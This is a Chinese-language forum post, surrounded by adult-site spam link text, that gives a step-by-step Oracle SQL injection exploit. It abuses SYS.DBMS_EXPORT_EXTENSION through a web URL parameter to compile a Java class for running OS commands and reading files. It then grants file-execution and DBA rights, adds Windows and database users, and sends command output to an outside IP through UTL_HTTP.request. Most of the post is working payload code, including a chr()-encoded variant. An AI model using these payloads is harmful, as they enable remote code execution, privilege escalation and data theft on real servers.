久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区

Rss & SiteMap

曙海教育集團(tuán)論壇 http://www.bjzhda.cn

曙海教育集團(tuán)論壇
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]
[瀏覽完整版]

標(biāo)題:犀利的 oracle 注入技術(shù)

1樓
wangxinxin 發(fā)表于:2010-12-11 11:04:20
介紹一個在web上通過oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創(chuàng)建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創(chuàng)建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個可以執(zhí)行多語句的函數(shù)Linx_query(),執(zhí)行成功的話返回數(shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限,以下語句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]

Copyright © 2000 - 2009 曙海教育集團(tuán)
Powered By 曙海教育集團(tuán) Version 2.2
Processed in .01563 s, 2 queries.
久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区
国产精品日韩欧美一区二区| 一区二区三区日韩欧美| 国产精品一区二区在线看| 欧美久久一区二区| 国产馆精品极品| 国产蜜臀av在线一区二区三区| 久久久久久九九| 日韩精品福利网| 欧美精品一区二区三| 高清一区二区三区视频| 一区二区三区四区在线免费观看| 欧美午夜精品理论片a级按摩| 成人丝袜高跟foot| 亚洲女厕所小便bbb| 欧美精品一二三| 欧美日韩成人一区二区三区| 久久国产麻豆精品| 国产精品色在线观看| 在线成人av网站| 狠狠久久综合婷婷不卡| 26uuu精品一区二区在线观看| 美女尤物国产一区| 久久久久一区二区三区四区| 亚洲欧洲国产精品久久| 99re6在线| 国产综合色产在线精品| 日本一区视频在线播放| 风间由美中文字幕在线看视频国产欧美| 久久精品一区四区| 欧美日韩精品一区二区三区蜜桃| 久久人人爽爽人人爽人人片av| 激情图区综合网| 欧美大片在线观看一区二区| 在线成人av电影| 欧美国产一二三区| 91九色偷拍| 99久久精品国产毛片| 日本亚洲最大的色成网站www| 亚洲黄色录像片| 国产精品久久久久久福利一牛影视| 4438x成人网最大色成网站| 亚洲人一区二区| 欧美一区二区综合| 欧美福利精品| 青青草原亚洲| 九色综合国产一区二区三区| 国产精品一区二区av| 国产一区二区在线观看免费| 亚洲一区在线视频| 一区二区视频在线看| 亚洲视频免费在线观看| 国产精品福利一区二区三区| 国产精品女主播av| 国产精品传媒入口麻豆| 亚洲精品国产一区二区精华液| 亚洲欧美一区二区三区孕妇| 一区二区三区在线视频播放 | 欧美一区二区在线免费播放| 亚洲欧美国产三级| 日韩女同互慰一区二区| 欧美精品九九99久久| 9191国产精品| 日韩一级二级三级| 精品少妇一区二区三区在线播放| 欧美丝袜自拍制服另类| 日韩一区二区电影在线| 精品国产中文字幕| 国产一区二区在线观看免费| 春色校园综合激情亚洲| 国产成人免费电影| 9l国产精品久久久久麻豆| 亚洲超丰满肉感bbw| 亚洲女人****多毛耸耸8| 日韩不卡手机在线v区| 国产98色在线|日韩| 国产一区免费观看| 色婷婷综合激情| 国产女人18毛片水真多成人如厕 | 欧洲一区在线观看| 精品国产凹凸成av人导航| 一区在线中文字幕| 久久精品一区二区三区四区| 精品一二三四区| 成人看片在线| 欧美视频在线一区| 中文字幕免费不卡| 午夜精品久久久久久久| jlzzjlzz欧美大全| 色88888久久久久久影院野外| 国产日韩精品久久久| 久久91精品久久久久久秒播| 久久天天狠狠| 337p粉嫩大胆色噜噜噜噜亚洲| 亚州成人在线电影| 久久99精品久久久久久三级| 色综合久久综合| 国产精品久久久久一区| 成人美女视频在线看| 亚洲欧洲免费无码| 亚洲特级片在线| av电影在线观看一区| 欧美精品99久久久**| 午夜欧美电影在线观看| 久久婷婷人人澡人人喊人人爽| 欧美成人高清电影在线| 国产久卡久卡久卡久卡视频精品| 亚洲制服欧美久久| 亚洲伊人色欲综合网| 国产欧美一区二区视频| 国产欧美视频一区二区| 97久久精品人人澡人人爽| 日韩精品一区在线观看| 国产成人欧美日韩在线电影| 欧美美女喷水视频| 国产馆精品极品| 日韩视频国产视频| 丁香婷婷综合五月| 国产亚洲精品bt天堂精选| 91久色国产| 国产精品麻豆久久久| 国产免费一区| 亚洲美女视频在线| 亚洲高清在线播放| 三级影片在线观看欧美日韩一区二区| 欧美中文娱乐网| 日本女优在线视频一区二区| 91久久精品国产91性色tv| 日韩二区三区在线观看| 欧美性videosxxxxx| 99视频在线观看一区三区| 国产免费成人在线视频| 国产精品入口免费| 亚洲影院久久精品| 欧美日韩一区不卡| 99这里只有久久精品视频| 中文字幕在线不卡| 亚洲高清视频一区二区| 激情另类小说区图片区视频区| 精品欧美一区二区久久| 精品一区二区三区免费毛片| 日韩国产欧美在线播放| 日韩美女在线视频| 久久亚洲免费| 国产麻豆成人传媒免费观看| 国产欧美一二三区| 色伊人久久综合中文字幕| 北岛玲一区二区三区四区| 亚洲精品国产一区二区精华液 | 欧美极品美女视频| 一本久道久久综合狠狠爱亚洲精品| 国产成人免费视频网站 | 91蝌蚪porny| 亚洲观看高清完整版在线观看 | 日本一区二区不卡视频| 在线播放豆国产99亚洲| 91丝袜高跟美女视频| 日韩精品一级二级| 中文字幕欧美激情| 欧美视频你懂的| 国产一区免费在线观看| 国产一区二区看久久| 亚洲高清在线精品| 久久久久99精品国产片| 欧美三级视频在线播放| 欧洲成人一区二区| 91在线观看免费视频| 国产高清视频一区| 日韩精品乱码av一区二区| 亚洲少妇30p| 欧美xxxxx牲另类人与| 国产精品久久久久久久久久免费看| 国内外成人在线视频| 欧美日韩一区高清| 国产伦精品一区二区三区视频青涩| 欧美日韩一卡二卡| 久久伦理网站| 精品一区二区三区自拍图片区| 成人网男人的天堂| 粉嫩欧美一区二区三区高清影视| 麻豆成人综合网| 日韩高清一区在线| 亚洲大片一区二区三区| 亚洲高清中文字幕| 亚洲成人激情社区| 午夜精品在线看| 亚洲成人综合在线| 午夜精品福利在线| 亚洲国产精品自拍| 亚洲成人激情av| 奇米色777欧美一区二区| 青青草原综合久久大伊人精品 | 日韩成人一区二区| 日韩电影网1区2区| 极品美女销魂一区二区三区| 韩国精品主播一区二区在线观看 | 亚洲福利一二三区| 乱一区二区av| 成人a区在线观看| 国产精品高清一区二区三区| 久久精品国产第一区二区三区最新章节|